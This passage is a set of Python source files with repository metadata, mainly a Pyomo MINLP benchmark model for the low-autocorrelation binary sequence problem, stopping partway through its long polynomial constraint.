MehmedGIT/OPERANDI_TestRepo
|
529d053d4e225642c4b07016edf54736d957a025
|
[
"Apache-2.0"
] | null | null | null |
# Specific response models of the OPERANDI server will be implemented here
# TODO: Implement proper response models
| 38.666667
| 74
| 0.818966
| 16
| 116
| 5.9375
| 0.875
| 0.294737
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.155172
| 116
| 2
| 75
| 58
| 0.969388
| 0.956897
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0.5
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
4cebd4546485ab684a51196987e1925bef4c467c
| 141
|
py
|
Python
|
mdssdk/parsers/portchannel/__init__.py
|
akshatha-s13/mdssdk
|
615a5528d0af1201e8fe8f305c62b258e5433990
|
[
"Apache-2.0"
] | 4
|
2020-12-13T20:02:43.000Z
|
2022-02-27T23:36:58.000Z
|
mdssdk/parsers/portchannel/__init__.py
|
akshatha-s13/mdssdk
|
615a5528d0af1201e8fe8f305c62b258e5433990
|
[
"Apache-2.0"
] | 13
|
2020-09-23T07:30:15.000Z
|
2022-03-30T01:12:25.000Z
|
mdssdk/parsers/portchannel/__init__.py
|
akshatha-s13/mdssdk
|
615a5528d0af1201e8fe8f305c62b258e5433990
|
[
"Apache-2.0"
] | 12
|
2020-05-11T09:33:21.000Z
|
2022-03-18T11:11:28.000Z
|
from .show_port_channel_database import ShowPortChannelDatabase
from .show_port_channel_database_detail import ShowPortChannelDatabaseDetail
| 47
| 76
| 0.929078
| 15
| 141
| 8.266667
| 0.6
| 0.129032
| 0.193548
| 0.306452
| 0.435484
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.056738
| 141
| 2
| 77
| 70.5
| 0.932331
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 6
|
9815a2f264a1fa198fb81dd7f78ff48768cc81e5
| 74
|
py
|
Python
|
util/__init__.py
|
lobachevzky/NLP-Project
|
26f277b09a621476b21730ce63ffe33f6fae92cd
|
[
"MIT"
] | null | null | null |
util/__init__.py
|
lobachevzky/NLP-Project
|
26f277b09a621476b21730ce63ffe33f6fae92cd
|
[
"MIT"
] | null | null | null |
util/__init__.py
|
lobachevzky/NLP-Project
|
26f277b09a621476b21730ce63ffe33f6fae92cd
|
[
"MIT"
] | null | null | null |
from . import dtree_util
import sys
sys.modules['dtree_util'] = dtree_util
| 24.666667
| 38
| 0.797297
| 12
| 74
| 4.666667
| 0.5
| 0.482143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.108108
| 74
| 3
| 38
| 24.666667
| 0.848485
| 0
| 0
| 0
| 0
| 0
| 0.133333
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
e236e8bc6fd36c395d21926c8f38f313ab1c3fb5
| 314,305
|
py
|
Python
|
models_nonconvex_simple/autocorr_bern35-35fix.py
|
grossmann-group/pyomo-MINLP-benchmarking
|
714f0a0dffd61675649a805683c0627af6b4929e
|
[
"MIT"
] | 7
|
2019-05-08T19:14:34.000Z
|
2021-12-24T00:00:40.000Z
|
models_nonconvex_simple/autocorr_bern35-35fix.py
|
grossmann-group/pyomo-MINLP-benchmarking
|
714f0a0dffd61675649a805683c0627af6b4929e
|
[
"MIT"
] | null | null | null |
models_nonconvex_simple/autocorr_bern35-35fix.py
|
grossmann-group/pyomo-MINLP-benchmarking
|
714f0a0dffd61675649a805683c0627af6b4929e
|
[
"MIT"
] | 1
|
2019-05-10T18:34:18.000Z
|
2019-05-10T18:34:18.000Z
|
# MINLP written by GAMS Convert at 08/13/20 17:37:47
#
# Equation counts
# Total E G L N X C B
# 1 0 0 1 0 0 0 0
#
# Variable counts
# x b i s1s s2s sc si
# Total cont binary integer sos1 sos2 scont sint
# 36 1 35 0 0 0 0 0
# FX 0 0 0 0 0 0 0 0
#
# Nonzero counts
# Total const NL DLL
# 36 1 35 0
from pyomo.environ import *
model = m = ConcreteModel()
m.b1 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b2 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b3 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b4 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b5 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b6 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b7 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b8 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b9 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b10 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b11 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b12 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b13 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b14 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b15 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b16 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b17 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b18 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b19 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b20 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b21 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b22 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b23 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b24 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b25 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b26 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b27 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b28 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b29 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b30 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b31 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b32 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b33 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b34 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b35 = Var(within=Binary,bounds=(0,1),initialize=0)
m.x36 = Var(within=Reals,bounds=(None,None),initialize=0)
m.obj = Objective(expr=m.x36, sense=minimize)
m.c1 = Constraint(expr=64*m.b1*m.b3*m.b4*m.b5 + 64*m.b1*m.b3*m.b5*m.b6 + 64*m.b1*m.b3*m.b6*m.b7 + 64*m.b1*m.b3*m.b7*m.b8
+ 64*m.b1*m.b3*m.b8*m.b9 + 64*m.b1*m.b3*m.b9*m.b10 + 64*m.b1*m.b3*m.b10*m.b11 + 64*m.b1*m.b3*
m.b11*m.b12 + 64*m.b1*m.b3*m.b12*m.b13 + 64*m.b1*m.b3*m.b13*m.b14 + 64*m.b1*m.b3*m.b14*m.b15 + 64
*m.b1*m.b3*m.b15*m.b16 + 64*m.b1*m.b3*m.b16*m.b17 + 64*m.b1*m.b3*m.b17*m.b18 + 64*m.b1*m.b3*m.b18
*m.b19 + 64*m.b1*m.b3*m.b19*m.b20 + 64*m.b1*m.b3*m.b20*m.b21 + 64*m.b1*m.b3*m.b21*m.b22 + 64*m.b1
*m.b3*m.b22*m.b23 + 64*m.b1*m.b3*m.b23*m.b24 + 64*m.b1*m.b3*m.b24*m.b25 + 64*m.b1*m.b3*m.b25*
m.b26 + 64*m.b1*m.b3*m.b26*m.b27 + 64*m.b1*m.b3*m.b27*m.b28 + 64*m.b1*m.b3*m.b28*m.b29 + 64*m.b1*
m.b3*m.b29*m.b30 + 64*m.b1*m.b3*m.b30*m.b31 + 64*m.b1*m.b3*m.b31*m.b32 + 64*m.b1*m.b3*m.b32*m.b33
+ 64*m.b1*m.b3*m.b33*m.b34 + 64*m.b1*m.b3*m.b34*m.b35 + 64*m.b1*m.b3*m.b35*m.b2 + 64*m.b1*m.b4*
m.b5*m.b7 + 64*m.b1*m.b4*m.b6*m.b8 + 64*m.b1*m.b4*m.b7*m.b9 + 64*m.b1*m.b4*m.b8*m.b10 + 64*m.b1*
m.b4*m.b9*m.b11 + 64*m.b1*m.b4*m.b10*m.b12 + 64*m.b1*m.b4*m.b11*m.b13 + 64*m.b1*m.b4*m.b12*m.b14
+ 64*m.b1*m.b4*m.b13*m.b15 + 64*m.b1*m.b4*m.b14*m.b16 + 64*m.b1*m.b4*m.b15*m.b17 + 64*m.b1*m.b4*
m.b16*m.b18 + 64*m.b1*m.b4*m.b17*m.b19 + 64*m.b1*m.b4*m.b18*m.b20 + 64*m.b1*m.b4*m.b19*m.b21 + 64
*m.b1*m.b4*m.b20*m.b22 + 64*m.b1*m.b4*m.b21*m.b23 + 64*m.b1*m.b4*m.b22*m.b24 + 64*m.b1*m.b4*m.b23
*m.b25 + 64*m.b1*m.b4*m.b24*m.b26 + 64*m.b1*m.b4*m.b25*m.b27 + 64*m.b1*m.b4*m.b26*m.b28 + 64*m.b1
*m.b4*m.b27*m.b29 + 64*m.b1*m.b4*m.b28*m.b30 + 64*m.b1*m.b4*m.b29*m.b31 + 64*m.b1*m.b4*m.b30*
m.b32 + 64*m.b1*m.b4*m.b31*m.b33 + 64*m.b1*m.b4*m.b32*m.b34 + 64*m.b1*m.b4*m.b33*m.b35 + 64*m.b1*
m.b4*m.b34*m.b2 + 64*m.b1*m.b5*m.b6*m.b9 + 64*m.b1*m.b5*m.b7*m.b10 + 64*m.b1*m.b5*m.b8*m.b11 + 64
*m.b1*m.b5*m.b9*m.b12 + 64*m.b1*m.b5*m.b10*m.b13 + 64*m.b1*m.b5*m.b11*m.b14 + 64*m.b1*m.b5*m.b12*
m.b15 + 64*m.b1*m.b5*m.b13*m.b16 + 64*m.b1*m.b5*m.b14*m.b17 + 64*m.b1*m.b5*m.b15*m.b18 + 64*m.b1*
m.b5*m.b16*m.b19 + 64*m.b1*m.b5*m.b17*m.b20 + 64*m.b1*m.b5*m.b18*m.b21 + 64*m.b1*m.b5*m.b19*m.b22
+ 64*m.b1*m.b5*m.b20*m.b23 + 64*m.b1*m.b5*m.b21*m.b24 + 64*m.b1*m.b5*m.b22*m.b25 + 64*m.b1*m.b5*
m.b23*m.b26 + 64*m.b1*m.b5*m.b24*m.b27 + 64*m.b1*m.b5*m.b25*m.b28 + 64*m.b1*m.b5*m.b26*m.b29 + 64
*m.b1*m.b5*m.b27*m.b30 + 64*m.b1*m.b5*m.b28*m.b31 + 64*m.b1*m.b5*m.b29*m.b32 + 64*m.b1*m.b5*m.b30
*m.b33 + 64*m.b1*m.b5*m.b31*m.b34 + 64*m.b1*m.b5*m.b32*m.b35 + 64*m.b1*m.b5*m.b33*m.b2 + 64*m.b1*
m.b6*m.b7*m.b11 + 64*m.b1*m.b6*m.b8*m.b12 + 64*m.b1*m.b6*m.b9*m.b13 + 64*m.b1*m.b6*m.b10*m.b14 +
64*m.b1*m.b6*m.b11*m.b15 + 64*m.b1*m.b6*m.b12*m.b16 + 64*m.b1*m.b6*m.b13*m.b17 + 64*m.b1*m.b6*
m.b14*m.b18 + 64*m.b1*m.b6*m.b15*m.b19 + 64*m.b1*m.b6*m.b16*m.b20 + 64*m.b1*m.b6*m.b17*m.b21 + 64
*m.b1*m.b6*m.b18*m.b22 + 64*m.b1*m.b6*m.b19*m.b23 + 64*m.b1*m.b6*m.b20*m.b24 + 64*m.b1*m.b6*m.b21
*m.b25 + 64*m.b1*m.b6*m.b22*m.b26 + 64*m.b1*m.b6*m.b23*m.b27 + 64*m.b1*m.b6*m.b24*m.b28 + 64*m.b1
*m.b6*m.b25*m.b29 + 64*m.b1*m.b6*m.b26*m.b30 + 64*m.b1*m.b6*m.b27*m.b31 + 64*m.b1*m.b6*m.b28*
m.b32 + 64*m.b1*m.b6*m.b29*m.b33 + 64*m.b1*m.b6*m.b30*m.b34 + 64*m.b1*m.b6*m.b31*m.b35 + 64*m.b1*
m.b6*m.b32*m.b2 + 64*m.b1*m.b7*m.b8*m.b13 + 64*m.b1*m.b7*m.b9*m.b14 + 64*m.b1*m.b7*m.b10*m.b15 +
64*m.b1*m.b7*m.b11*m.b16 + 64*m.b1*m.b7*m.b12*m.b17 + 64*m.b1*m.b7*m.b13*m.b18 + 64*m.b1*m.b7*
m.b14*m.b19 + 64*m.b1*m.b7*m.b15*m.b20 + 64*m.b1*m.b7*m.b16*m.b21 + 64*m.b1*m.b7*m.b17*m.b22 + 64
*m.b1*m.b7*m.b18*m.b23 + 64*m.b1*m.b7*m.b19*m.b24 + 64*m.b1*m.b7*m.b20*m.b25 + 64*m.b1*m.b7*m.b21
*m.b26 + 64*m.b1*m.b7*m.b22*m.b27 + 64*m.b1*m.b7*m.b23*m.b28 + 64*m.b1*m.b7*m.b24*m.b29 + 64*m.b1
*m.b7*m.b25*m.b30 + 64*m.b1*m.b7*m.b26*m.b31 + 64*m.b1*m.b7*m.b27*m.b32 + 64*m.b1*m.b7*m.b28*
m.b33 + 64*m.b1*m.b7*m.b29*m.b34 + 64*m.b1*m.b7*m.b30*m.b35 + 64*m.b1*m.b7*m.b31*m.b2 + 64*m.b1*
m.b8*m.b9*m.b15 + 64*m.b1*m.b8*m.b10*m.b16 + 64*m.b1*m.b8*m.b11*m.b17 + 64*m.b1*m.b8*m.b12*m.b18
+ 64*m.b1*m.b8*m.b13*m.b19 + 64*m.b1*m.b8*m.b14*m.b20 + 64*m.b1*m.b8*m.b15*m.b21 + 64*m.b1*m.b8*
m.b16*m.b22 + 64*m.b1*m.b8*m.b17*m.b23 + 64*m.b1*m.b8*m.b18*m.b24 + 64*m.b1*m.b8*m.b19*m.b25 + 64
*m.b1*m.b8*m.b20*m.b26 + 64*m.b1*m.b8*m.b21*m.b27 + 64*m.b1*m.b8*m.b22*m.b28 + 64*m.b1*m.b8*m.b23
*m.b29 + 64*m.b1*m.b8*m.b24*m.b30 + 64*m.b1*m.b8*m.b25*m.b31 + 64*m.b1*m.b8*m.b26*m.b32 + 64*m.b1
*m.b8*m.b27*m.b33 + 64*m.b1*m.b8*m.b28*m.b34 + 64*m.b1*m.b8*m.b29*m.b35 + 64*m.b1*m.b8*m.b30*m.b2
+ 64*m.b1*m.b9*m.b10*m.b17 + 64*m.b1*m.b9*m.b11*m.b18 + 64*m.b1*m.b9*m.b12*m.b19 + 64*m.b1*m.b9*
m.b13*m.b20 + 64*m.b1*m.b9*m.b14*m.b21 + 64*m.b1*m.b9*m.b15*m.b22 + 64*m.b1*m.b9*m.b16*m.b23 + 64
*m.b1*m.b9*m.b17*m.b24 + 64*m.b1*m.b9*m.b18*m.b25 + 64*m.b1*m.b9*m.b19*m.b26 + 64*m.b1*m.b9*m.b20
*m.b27 + 64*m.b1*m.b9*m.b21*m.b28 + 64*m.b1*m.b9*m.b22*m.b29 + 64*m.b1*m.b9*m.b23*m.b30 + 64*m.b1
*m.b9*m.b24*m.b31 + 64*m.b1*m.b9*m.b25*m.b32 + 64*m.b1*m.b9*m.b26*m.b33 + 64*m.b1*m.b9*m.b27*
m.b34 + 64*m.b1*m.b9*m.b28*m.b35 + 64*m.b1*m.b9*m.b29*m.b2 + 64*m.b1*m.b10*m.b11*m.b19 + 64*m.b1*
m.b10*m.b12*m.b20 + 64*m.b1*m.b10*m.b13*m.b21 + 64*m.b1*m.b10*m.b14*m.b22 + 64*m.b1*m.b10*m.b15*
m.b23 + 64*m.b1*m.b10*m.b16*m.b24 + 64*m.b1*m.b10*m.b17*m.b25 + 64*m.b1*m.b10*m.b18*m.b26 + 64*
m.b1*m.b10*m.b19*m.b27 + 64*m.b1*m.b10*m.b20*m.b28 + 64*m.b1*m.b10*m.b21*m.b29 + 64*m.b1*m.b10*
m.b22*m.b30 + 64*m.b1*m.b10*m.b23*m.b31 + 64*m.b1*m.b10*m.b24*m.b32 + 64*m.b1*m.b10*m.b25*m.b33
+ 64*m.b1*m.b10*m.b26*m.b34 + 64*m.b1*m.b10*m.b27*m.b35 + 64*m.b1*m.b10*m.b28*m.b2 + 64*m.b1*
m.b11*m.b12*m.b21 + 64*m.b1*m.b11*m.b13*m.b22 + 64*m.b1*m.b11*m.b14*m.b23 + 64*m.b1*m.b11*m.b15*
m.b24 + 64*m.b1*m.b11*m.b16*m.b25 + 64*m.b1*m.b11*m.b17*m.b26 + 64*m.b1*m.b11*m.b18*m.b27 + 64*
m.b1*m.b11*m.b19*m.b28 + 64*m.b1*m.b11*m.b20*m.b29 + 64*m.b1*m.b11*m.b21*m.b30 + 64*m.b1*m.b11*
m.b22*m.b31 + 64*m.b1*m.b11*m.b23*m.b32 + 64*m.b1*m.b11*m.b24*m.b33 + 64*m.b1*m.b11*m.b25*m.b34
+ 64*m.b1*m.b11*m.b26*m.b35 + 64*m.b1*m.b11*m.b27*m.b2 + 64*m.b1*m.b12*m.b13*m.b23 + 64*m.b1*
m.b12*m.b14*m.b24 + 64*m.b1*m.b12*m.b15*m.b25 + 64*m.b1*m.b12*m.b16*m.b26 + 64*m.b1*m.b12*m.b17*
m.b27 + 64*m.b1*m.b12*m.b18*m.b28 + 64*m.b1*m.b12*m.b19*m.b29 + 64*m.b1*m.b12*m.b20*m.b30 + 64*
m.b1*m.b12*m.b21*m.b31 + 64*m.b1*m.b12*m.b22*m.b32 + 64*m.b1*m.b12*m.b23*m.b33 + 64*m.b1*m.b12*
m.b24*m.b34 + 64*m.b1*m.b12*m.b25*m.b35 + 64*m.b1*m.b12*m.b26*m.b2 + 64*m.b1*m.b13*m.b14*m.b25 +
64*m.b1*m.b13*m.b15*m.b26 + 64*m.b1*m.b13*m.b16*m.b27 + 64*m.b1*m.b13*m.b17*m.b28 + 64*m.b1*m.b13
*m.b18*m.b29 + 64*m.b1*m.b13*m.b19*m.b30 + 64*m.b1*m.b13*m.b20*m.b31 + 64*m.b1*m.b13*m.b21*m.b32
+ 64*m.b1*m.b13*m.b22*m.b33 + 64*m.b1*m.b13*m.b23*m.b34 + 64*m.b1*m.b13*m.b24*m.b35 + 64*m.b1*
m.b13*m.b25*m.b2 + 64*m.b1*m.b14*m.b15*m.b27 + 64*m.b1*m.b14*m.b16*m.b28 + 64*m.b1*m.b14*m.b17*
m.b29 + 64*m.b1*m.b14*m.b18*m.b30 + 64*m.b1*m.b14*m.b19*m.b31 + 64*m.b1*m.b14*m.b20*m.b32 + 64*
m.b1*m.b14*m.b21*m.b33 + 64*m.b1*m.b14*m.b22*m.b34 + 64*m.b1*m.b14*m.b23*m.b35 + 64*m.b1*m.b14*
m.b24*m.b2 + 64*m.b1*m.b15*m.b16*m.b29 + 64*m.b1*m.b15*m.b17*m.b30 + 64*m.b1*m.b15*m.b18*m.b31 +
64*m.b1*m.b15*m.b19*m.b32 + 64*m.b1*m.b15*m.b20*m.b33 + 64*m.b1*m.b15*m.b21*m.b34 + 64*m.b1*m.b15
*m.b22*m.b35 + 64*m.b1*m.b15*m.b23*m.b2 + 64*m.b1*m.b16*m.b17*m.b31 + 64*m.b1*m.b16*m.b18*m.b32
+ 64*m.b1*m.b16*m.b19*m.b33 + 64*m.b1*m.b16*m.b20*m.b34 + 64*m.b1*m.b16*m.b21*m.b35 + 64*m.b1*
m.b16*m.b22*m.b2 + 64*m.b1*m.b17*m.b18*m.b33 + 64*m.b1*m.b17*m.b19*m.b34 + 64*m.b1*m.b17*m.b20*
m.b35 + 64*m.b1*m.b17*m.b21*m.b2 + 64*m.b1*m.b18*m.b19*m.b35 + 64*m.b1*m.b18*m.b20*m.b2 + 64*m.b3
*m.b4*m.b5*m.b6 + 64*m.b3*m.b4*m.b6*m.b7 + 64*m.b3*m.b4*m.b7*m.b8 + 64*m.b3*m.b4*m.b8*m.b9 + 64*
m.b3*m.b4*m.b9*m.b10 + 64*m.b3*m.b4*m.b10*m.b11 + 64*m.b3*m.b4*m.b11*m.b12 + 64*m.b3*m.b4*m.b12*
m.b13 + 64*m.b3*m.b4*m.b13*m.b14 + 64*m.b3*m.b4*m.b14*m.b15 + 64*m.b3*m.b4*m.b15*m.b16 + 128*m.b3
*m.b4*m.b16*m.b17 + 128*m.b3*m.b4*m.b17*m.b18 + 128*m.b3*m.b4*m.b18*m.b19 + 128*m.b3*m.b4*m.b19*
m.b20 + 128*m.b3*m.b4*m.b20*m.b21 + 128*m.b3*m.b4*m.b21*m.b22 + 128*m.b3*m.b4*m.b22*m.b23 + 128*
m.b3*m.b4*m.b23*m.b24 + 128*m.b3*m.b4*m.b24*m.b25 + 128*m.b3*m.b4*m.b25*m.b26 + 128*m.b3*m.b4*
m.b26*m.b27 + 128*m.b3*m.b4*m.b27*m.b28 + 128*m.b3*m.b4*m.b28*m.b29 + 128*m.b3*m.b4*m.b29*m.b30
+ 128*m.b3*m.b4*m.b30*m.b31 + 128*m.b3*m.b4*m.b31*m.b32 + 128*m.b3*m.b4*m.b32*m.b33 + 128*m.b3*
m.b4*m.b33*m.b34 + 128*m.b3*m.b4*m.b34*m.b35 + 64*m.b3*m.b4*m.b35*m.b2 + 64*m.b3*m.b5*m.b6*m.b8
+ 64*m.b3*m.b5*m.b7*m.b9 + 64*m.b3*m.b5*m.b8*m.b10 + 64*m.b3*m.b5*m.b9*m.b11 + 64*m.b3*m.b5*
m.b10*m.b12 + 64*m.b3*m.b5*m.b11*m.b13 + 64*m.b3*m.b5*m.b12*m.b14 + 64*m.b3*m.b5*m.b13*m.b15 + 64
*m.b3*m.b5*m.b14*m.b16 + 128*m.b3*m.b5*m.b15*m.b17 + 128*m.b3*m.b5*m.b16*m.b18 + 128*m.b3*m.b5*
m.b17*m.b19 + 128*m.b3*m.b5*m.b18*m.b20 + 128*m.b3*m.b5*m.b19*m.b21 + 128*m.b3*m.b5*m.b20*m.b22
+ 128*m.b3*m.b5*m.b21*m.b23 + 128*m.b3*m.b5*m.b22*m.b24 + 128*m.b3*m.b5*m.b23*m.b25 + 128*m.b3*
m.b5*m.b24*m.b26 + 128*m.b3*m.b5*m.b25*m.b27 + 128*m.b3*m.b5*m.b26*m.b28 + 128*m.b3*m.b5*m.b27*
m.b29 + 128*m.b3*m.b5*m.b28*m.b30 + 128*m.b3*m.b5*m.b29*m.b31 + 128*m.b3*m.b5*m.b30*m.b32 + 128*
m.b3*m.b5*m.b31*m.b33 + 128*m.b3*m.b5*m.b32*m.b34 + 128*m.b3*m.b5*m.b33*m.b35 + 64*m.b3*m.b5*
m.b34*m.b2 + 64*m.b3*m.b6*m.b7*m.b10 + 64*m.b3*m.b6*m.b8*m.b11 + 64*m.b3*m.b6*m.b9*m.b12 + 64*
m.b3*m.b6*m.b10*m.b13 + 64*m.b3*m.b6*m.b11*m.b14 + 64*m.b3*m.b6*m.b12*m.b15 + 64*m.b3*m.b6*m.b13*
m.b16 + 128*m.b3*m.b6*m.b14*m.b17 + 128*m.b3*m.b6*m.b15*m.b18 + 128*m.b3*m.b6*m.b16*m.b19 + 128*
m.b3*m.b6*m.b17*m.b20 + 128*m.b3*m.b6*m.b18*m.b21 + 128*m.b3*m.b6*m.b19*m.b22 + 128*m.b3*m.b6*
m.b20*m.b23 + 128*m.b3*m.b6*m.b21*m.b24 + 128*m.b3*m.b6*m.b22*m.b25 + 128*m.b3*m.b6*m.b23*m.b26
+ 128*m.b3*m.b6*m.b24*m.b27 + 128*m.b3*m.b6*m.b25*m.b28 + 128*m.b3*m.b6*m.b26*m.b29 + 128*m.b3*
m.b6*m.b27*m.b30 + 128*m.b3*m.b6*m.b28*m.b31 + 128*m.b3*m.b6*m.b29*m.b32 + 128*m.b3*m.b6*m.b30*
m.b33 + 128*m.b3*m.b6*m.b31*m.b34 + 128*m.b3*m.b6*m.b32*m.b35 + 64*m.b3*m.b6*m.b33*m.b2 + 64*m.b3
*m.b7*m.b8*m.b12 + 64*m.b3*m.b7*m.b9*m.b13 + 64*m.b3*m.b7*m.b10*m.b14 + 64*m.b3*m.b7*m.b11*m.b15
+ 64*m.b3*m.b7*m.b12*m.b16 + 128*m.b3*m.b7*m.b13*m.b17 + 128*m.b3*m.b7*m.b14*m.b18 + 128*m.b3*
m.b7*m.b15*m.b19 + 128*m.b3*m.b7*m.b16*m.b20 + 128*m.b3*m.b7*m.b17*m.b21 + 128*m.b3*m.b7*m.b18*
m.b22 + 128*m.b3*m.b7*m.b19*m.b23 + 128*m.b3*m.b7*m.b20*m.b24 + 128*m.b3*m.b7*m.b21*m.b25 + 128*
m.b3*m.b7*m.b22*m.b26 + 128*m.b3*m.b7*m.b23*m.b27 + 128*m.b3*m.b7*m.b24*m.b28 + 128*m.b3*m.b7*
m.b25*m.b29 + 128*m.b3*m.b7*m.b26*m.b30 + 128*m.b3*m.b7*m.b27*m.b31 + 128*m.b3*m.b7*m.b28*m.b32
+ 128*m.b3*m.b7*m.b29*m.b33 + 128*m.b3*m.b7*m.b30*m.b34 + 128*m.b3*m.b7*m.b31*m.b35 + 64*m.b3*
m.b7*m.b32*m.b2 + 64*m.b3*m.b8*m.b9*m.b14 + 64*m.b3*m.b8*m.b10*m.b15 + 64*m.b3*m.b8*m.b11*m.b16
+ 128*m.b3*m.b8*m.b12*m.b17 + 128*m.b3*m.b8*m.b13*m.b18 + 128*m.b3*m.b8*m.b14*m.b19 + 128*m.b3*
m.b8*m.b15*m.b20 + 128*m.b3*m.b8*m.b16*m.b21 + 128*m.b3*m.b8*m.b17*m.b22 + 128*m.b3*m.b8*m.b18*
m.b23 + 128*m.b3*m.b8*m.b19*m.b24 + 128*m.b3*m.b8*m.b20*m.b25 + 128*m.b3*m.b8*m.b21*m.b26 + 128*
m.b3*m.b8*m.b22*m.b27 + 128*m.b3*m.b8*m.b23*m.b28 + 128*m.b3*m.b8*m.b24*m.b29 + 128*m.b3*m.b8*
m.b25*m.b30 + 128*m.b3*m.b8*m.b26*m.b31 + 128*m.b3*m.b8*m.b27*m.b32 + 128*m.b3*m.b8*m.b28*m.b33
+ 128*m.b3*m.b8*m.b29*m.b34 + 128*m.b3*m.b8*m.b30*m.b35 + 64*m.b3*m.b8*m.b31*m.b2 + 64*m.b3*m.b9
*m.b10*m.b16 + 128*m.b3*m.b9*m.b11*m.b17 + 128*m.b3*m.b9*m.b12*m.b18 + 128*m.b3*m.b9*m.b13*m.b19
+ 128*m.b3*m.b9*m.b14*m.b20 + 128*m.b3*m.b9*m.b15*m.b21 + 128*m.b3*m.b9*m.b16*m.b22 + 128*m.b3*
m.b9*m.b17*m.b23 + 128*m.b3*m.b9*m.b18*m.b24 + 128*m.b3*m.b9*m.b19*m.b25 + 128*m.b3*m.b9*m.b20*
m.b26 + 128*m.b3*m.b9*m.b21*m.b27 + 128*m.b3*m.b9*m.b22*m.b28 + 128*m.b3*m.b9*m.b23*m.b29 + 128*
m.b3*m.b9*m.b24*m.b30 + 128*m.b3*m.b9*m.b25*m.b31 + 128*m.b3*m.b9*m.b26*m.b32 + 128*m.b3*m.b9*
m.b27*m.b33 + 128*m.b3*m.b9*m.b28*m.b34 + 128*m.b3*m.b9*m.b29*m.b35 + 64*m.b3*m.b9*m.b30*m.b2 +
128*m.b3*m.b10*m.b11*m.b18 + 128*m.b3*m.b10*m.b12*m.b19 + 128*m.b3*m.b10*m.b13*m.b20 + 128*m.b3*
m.b10*m.b14*m.b21 + 128*m.b3*m.b10*m.b15*m.b22 + 128*m.b3*m.b10*m.b16*m.b23 + 128*m.b3*m.b10*
m.b17*m.b24 + 128*m.b3*m.b10*m.b18*m.b25 + 128*m.b3*m.b10*m.b19*m.b26 + 128*m.b3*m.b10*m.b20*
m.b27 + 128*m.b3*m.b10*m.b21*m.b28 + 128*m.b3*m.b10*m.b22*m.b29 + 128*m.b3*m.b10*m.b23*m.b30 +
128*m.b3*m.b10*m.b24*m.b31 + 128*m.b3*m.b10*m.b25*m.b32 + 128*m.b3*m.b10*m.b26*m.b33 + 128*m.b3*
m.b10*m.b27*m.b34 + 128*m.b3*m.b10*m.b28*m.b35 + 64*m.b3*m.b10*m.b29*m.b2 + 128*m.b3*m.b11*m.b12*
m.b20 + 128*m.b3*m.b11*m.b13*m.b21 + 128*m.b3*m.b11*m.b14*m.b22 + 128*m.b3*m.b11*m.b15*m.b23 +
128*m.b3*m.b11*m.b16*m.b24 + 128*m.b3*m.b11*m.b17*m.b25 + 128*m.b3*m.b11*m.b18*m.b26 + 128*m.b3*
m.b11*m.b19*m.b27 + 128*m.b3*m.b11*m.b20*m.b28 + 128*m.b3*m.b11*m.b21*m.b29 + 128*m.b3*m.b11*
m.b22*m.b30 + 128*m.b3*m.b11*m.b23*m.b31 + 128*m.b3*m.b11*m.b24*m.b32 + 128*m.b3*m.b11*m.b25*
m.b33 + 128*m.b3*m.b11*m.b26*m.b34 + 128*m.b3*m.b11*m.b27*m.b35 + 64*m.b3*m.b11*m.b28*m.b2 + 128*
